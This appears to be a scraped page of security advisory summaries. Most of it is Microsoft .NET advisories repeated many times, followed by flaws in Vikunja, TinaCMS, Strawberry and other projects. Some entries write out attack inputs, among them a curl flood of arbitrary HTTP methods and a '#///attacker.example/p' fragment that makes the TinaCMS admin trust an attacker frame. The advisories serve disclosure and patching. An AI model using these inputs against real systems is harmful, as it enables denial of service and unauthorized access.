Advisories

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. FileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Authentication.Negotiate. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Negotiate LDAP authentication can associate an authenticated identity with an unintended LDAP principal when the LDAP result is not verified against the Kerberos principal SID.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Identity and Microsoft.AspNetCore.Identity.UI. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. ASP.NET Core Identity password-reset and confirmation flows can send mail to the unvalidated request address instead of the user's stored canonical address.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. WPF XPS hyperlink navigation can bypass URI restrictions and reach an attacker-controlled ObjectDataProvider, enabling remote code execution after user interaction.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. WPF XPS hyperlink navigation can bypass URI restrictions and reach an attacker-controlled ObjectDataProvider, enabling remote code execution after user interaction.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. WPF XPS hyperlink navigation can bypass URI restrictions and reach an attacker-controlled ObjectDataProvider, enabling remote code execution after user interaction.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Pkcs. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. On Windows, EnvelopedCms.Decode can perform quadratic work while processing attacker-supplied CMS or PKCS#7 attributes, causing pre-authentication CPU exhaustion.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.SignalR.Common and Microsoft.AspNetCore.SignalR.Core. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SignalR stateful reconnect clients can indefinitely block broadcasts through MessageBuffer.ResendAsync backpressure and retain associated resources.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.SignalR.Common and Microsoft.AspNetCore.SignalR.Core. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SignalR stateful reconnect clients can indefinitely block broadcasts through MessageBuffer.ResendAsync backpressure and retain associated resources.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Restrictive XAML and XPS security fixes block unsafe URI fetching and navigation, propagate untrusted-input state through hyperlink navigation, add TrueType font protection and XAML nesting-depth limits, and avoid caching positive DNS zone-policy decisions.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Restrictive XAML and XPS security fixes block unsafe URI fetching and navigation, propagate untrusted-input state through hyperlink navigation, add TrueType font protection and XAML nesting-depth limits, and avoid caching positive DNS zone-policy decisions.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Restrictive XAML and XPS security fixes block unsafe URI fetching and navigation, propagate untrusted-input state through hyperlink navigation, add TrueType font protection and XAML nesting-depth limits, and avoid caching positive DNS zone-policy decisions.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Crafted WPF pixel-shader bytecode can desynchronize the two parsing passes in CPSTrans::Initialize, causing heap out-of-bounds writes or reads.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Crafted WPF pixel-shader bytecode can desynchronize the two parsing passes in CPSTrans::Initialize, causing heap out-of-bounds writes or reads.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.WindowsDesktop.App.Runtime (WPF). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Crafted WPF pixel-shader bytecode can desynchronize the two parsing passes in CPSTrans::Initialize, causing heap out-of-bounds writes or reads.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a Proxy-Authorization header across an HTTP redirect and leak basic proxy credentials to the destination server.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml and System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft QUIC as used by .NET 8.0, .NET 9.0, .NET 10.0, and .NET 11 RC2 on Windows. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A crafted IPv6 QUIC packet can reach the Microsoft QUIC HTTP/3 path without authentication or user interaction and trigger remote code execution.

Microsoft is releasing this security advisory to provide information about a vulnerability in the Blazor WebAssembly debugger included in Microsoft.AspNetCore.Components.WebAssembly.Server. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. The Blazor WebAssembly debug proxy evaluates debugger expressions by generating and compiling C# source. Certain values originating in the application being debugged, including ToString() results, descriptions, and class names, are embedded in …

The Prometheus metrics middleware in pkg/server/server.go used r.Method directly as a label value on request counter and duration histogram metrics. Since the mux catch-all route matches any HTTP method, an unauthenticated attacker can send requests with arbitrary method strings (e.g. curl -X "M1" http://host/), each creating new counter and histogram time series in the Prometheus registry. The registry's internal maps never evict entries. An attacker issuing requests with unique method …

A project member with Write permission can delete an admin-tier link share on that project. The deletion authorization check reads the permission from an object populated only with URL IDs, rather than from the stored share. Its zero value is Read, so the check falls through to project Write permission instead of requiring Admin.

Vikunja v2.6.0 introduced server-side sessions with revocation semantics: DELETE /api/v2/user/sessions/{id} documents "Revokes a specific session by its UUID", and enabling TOTP calls DeleteAllUserSessions to invalidate all sessions. The WebSocket endpoint accepts any cryptographically valid user JWT without ever resolving its sid (session id) claim against the sessions table. A connection authenticated before revocation stays authenticated and continues to receive live pushes indefinitely, and even brand-new WebSocket connections are accepted with …

A collaborator removed from a project keeps a live, automatic feed of that project's contents, because nothing on any revocation path deletes the webhook they created while they had access. Vikunja already has a revocation-cleanup routine that deletes other derived rows for exactly this reason. Its set is {task_assignees, subscriptions}. webhooks and link_shares — the only two rows that carry a live channel into the project — are not in …

Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.

The 50-megapixel decode guard exists only on the task-attachment preview path. Avatar and project-background uploads decode uploaded images with no pixel cap. Worse, the avatar resize fixes the output height at 1024 and derives the width from the aspect ratio, so a tiny extreme-aspect-ratio PNG expands to an enormous output image — an input-side pixel cap would not catch it.

The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.

Once a user has TOTP enabled, the API still hands back the raw shared secret to anyone holding that account's access token. Reading it doesn't ask for the password, even though disabling TOTP does. So a stolen token, an XSS, or a browser left open is enough to copy the second factor into your own authenticator and keep generating valid codes indefinitely.

Deleting a task relation only requires write access on the base task. Unlike relation creation, it does not verify that the caller can read the other task. A user with write access to one project can therefore delete relations whose other end lives in a project they have no access to. Since the delete removes both the forward and inverse rows, the relation also disappears for the other project's members.

A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials. A token limited to: {"oauth":["authorize"]} can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.

In Vikunja v2.6.0 the task position recalculation that runs when a saved filter view is created fails open when the requesting user has no accessible projects. Instead of aborting, the search that feeds the recalculation loses its project scope entirely and returns every task in the instance. The server then writes one task_positions row per task per view (four views per filter) into views owned by the requesting user, including …

A user who has only read permission on a project can call the single link-share read endpoint and receive the share's hash field — the secret credential that the anonymous POST /shares/{share}/auth endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while …

The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy …

Vikunja stores password-reset, email-confirmation, and account-deletion tokens in the user_tokens table in plaintext. If an attacker gains read access to the database through a backup leak, misconfigured storage, or SQL-level exposure, they can immediately use pending tokens to take over user accounts without knowing passwords.

Vikunja ships with cors.origins defaulting to http://127.0.0.1:* and http://localhost:*, and sends Access-Control-Allow-Credentials: true, so a page served from any port on the user's own machine may make credentialed cross-origin requests to the API and read the responses. The mandatory service.publicurl is appended to that default list rather than replacing it, so a fully configured production deployment still trusts every localhost origin. Combined with the token refresh endpoint, which authenticates with …

With the per-provider OIDC emailfallback option enabled, Vikunja links an SSO login to a pre-existing local (username+password) account using only the email claim — no email_verified (or Microsoft xms_edov) check and no password check, on the unauthenticated callback. An attacker who can make the configured issuer emit a token bearing a victim's email logs in as that victim with a full session and no victim interaction (the nOAuth / Grafana …

The task-collection endpoint GET /api/v1/projects/{project}/views/{view}/tasks loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a link-share token, the task query is correctly pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to any project can therefore point the endpoint at any other …

A link-share token, the credential you hand out to let someone view a shared project, can call the v2 user-search endpoints, which it was never meant to reach. The v1 versions of the same endpoints correctly reject link-share tokens; the v2 versions don't. As a result, anyone with a share link can list every member of the shared project (and its parent projects), and can test whether any username exists …

Vikunja's web.Auth interface (pkg/web/web.go, single method GetID() int64) is satisfied by BOTH *user.User and *models.LinkSharing. A link-share's GetID() returns the raw positive share.ID (pkg/models/link_sharing.go:83-85), which lives in the same positive autoincrement ID space as users.id. The safe negated form getUserID() = share.ID * -1 (link_sharing.go:126-128) exists but is NOT used at three permission sinks. As a result, a link-share principal with id N — which should have zero authority over …

Vikunja routes API-token management through a generic authenticated principal and derives user-owned token authorization from web.Auth.GetID(). A link-share principal returns its independent share-row ID through that same interface. When the numeric values collide, the application mistakes a link share for an unrelated user at the API-token owner boundary. We can steer the reachable collision through ordinary authenticated user search and link-share creation when the target ID has not already been …

In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as the MAX over the entire reachable project subtree. As a result, when a user has been granted a higher permission on a parent project and the owner explicitly shares a child project with that same user at a lower permission (an intended down-restriction), the explicit lower grant is silently ignored and the user receives the …

registerAPIRoutesV2 never applies the unconditional pre-auth rate-limit floor (unauthRateLimit()) to the v2 public routes — it passes that limiter only to /api/v2/ws — and otherwise relies on setupRateLimit, which registers nothing when ratelimit.enabled is false (the default). So on a stock install every v2 pre-auth endpoint (login, register, password-reset token, oauth token) is unthrottled, while its v1 twin is throttled.

Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. …

The task-position endpoint authorizes only the task side of the write: TaskPosition.CanUpdate delegates to Task.CanUpdate (write access to the task's own project) and the request body's project_view_id is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist (task_id, project_view_id, position) rows into any other tenant's project view (view IDs are …

Vikunja lets a task in one project have a subtask that lives in a different project. When listing a project's tasks, an option pulls in those subtasks (?expand%5B%5D=subtasks). The main listing is correctly filtered to the projects the caller can access, but the subtask expansion is not: it returns the linked subtasks regardless of whether the caller has any access to the project they belong to. So a member with …

Creating a task relation over CalDAV does not run the TaskRelation.CanCreate permission check that the REST API enforces. An attacker can attach a relation to any task whose UID they know, including tasks in projects they have no access to. The identical operation over REST is correctly refused with 403.

The /dav, /.well-known, and /feeds groups are registered on the root Echo instance with only BasicAuth and no rate limiter. CalDAV BasicAuth accepts the plain account password, so password guessing over /dav is unbounded and never returns 429, while /api/v1/login is throttled from the tenth attempt. The only anti-brute-force control on the instance is therefore bypassable.

TaskAssginee.ReadAll returns assignee user objects without blanking the Email field, disclosing assignee email addresses to any read-only project member. Every sibling path that returns user objects obfuscates the email; this one does not.

API token permission checks only match the HTTP method and route path. The expand query parameter on task read endpoints embeds data from other permission groups (task comments, reactions, time entry counts) without checking whether the token holds those scopes. A token scoped only to tasks read permissions can therefore read task comments and reactions it was explicitly not granted.

When you share a project with a team, the API lets you attach any team on the instance, including teams you have nothing to do with, as long as you're an admin of the project. Listing a project's teams then returns each team's full member roster. So any logged-in user can spin up a throwaway project, attach team IDs one by one, and read back the name, description, and complete …

The TinaCMS admin builds its preview <iframe src> from the //* hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#///attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the …

The TinaCMS admin builds its preview <iframe src> from the //* hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#///attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the …

@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.

Strawberry's legacy graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures max_subscriptions_per_connection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit …

PermissionExtension.resolve() evaluates the return value of has_permission() for truthiness on the synchronous path. supports_sync only classifies a permission as asynchronous when has_permission is declared with async def (via inspect.iscoroutinefunction), so a plain def that returns an awaitable is treated as synchronous. An awaitable is always truthy, so the check passes even when it resolves to False and the protected resolver runs. The resolve path is chosen by the field resolver, …

Shiny for Python's bookmark-restore path accepted a client-supplied state_id query-string value and joined it into the server-side bookmark directory (<cwd>/shiny_bookmarks/<id>) without validating it. A value containing .. path segments, or an absolute path, could therefore cause the server to open and parse input.json and values.json from a directory outside the bookmark store. On a default application the restore was attempted whenever the client supplied a URL query string — including …

The /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also …

